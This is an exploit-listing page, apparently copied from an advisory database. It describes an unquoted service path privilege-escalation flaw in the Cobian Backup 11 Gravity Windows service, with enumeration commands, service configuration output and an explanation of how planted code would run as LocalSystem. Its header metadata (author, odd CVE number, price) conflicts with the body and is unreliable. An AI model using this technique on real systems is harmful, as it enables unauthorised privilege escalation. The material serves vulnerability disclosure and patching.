Cobian Backup Gravity CobianBackup11 Unquoted Service Path

CVE Category Price Severity
CVE-2021-30150151 CWE-428 $5,000 High
Author Risk Exploitation Type Date
LoneCoder High Local 2022-03-29

CVSS vector description

Our sensors found this exploit at:

Below is a copy:

Cobian Backup Gravity CobianBackup11 Unquoted Service Path
# Exploit Title: Cobian Backup Gravity - 'CobianBackup11' Unquoted Service Path
# Discovery by: Luis Martinez
# Discovery Date: 2022-02-24
# Vendor Homepage:
# Software Link :
# Tested Version:
# Vulnerability Type: Unquoted Service Path
# Tested on OS: Windows 10 Pro x64 es

# Step to discover Unquoted Service Path: 

C:\>wmic service get name, pathname, displayname, startmode | findstr "Auto" | findstr /i /v "C:\Windows\\" | findstr /i "Gravity " | findstr /i /v """

Cobian Backup 11 GravityCobianBackup11C:\Program Files (x86)\Cobian Backup 11\cbService.exeAuto

# Service info:

C:\>sc qc CobianBackup11
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: CobianBackup11
        TYPE               : 10  WIN32_OWN_PROCESS
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : C:\Program Files (x86)\Cobian Backup 11\cbService.exe
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : Cobian Backup 11 Gravity
        DEPENDENCIES       :
        SERVICE_START_NAME : LocalSystem


A successful attempt would require the local user to be able to insert their code in the system root path undetected by the OS or other security applications where it could potentially be executed during application startup or reboot. If successful, the local user's code would execute with the elevated privileges of the application.

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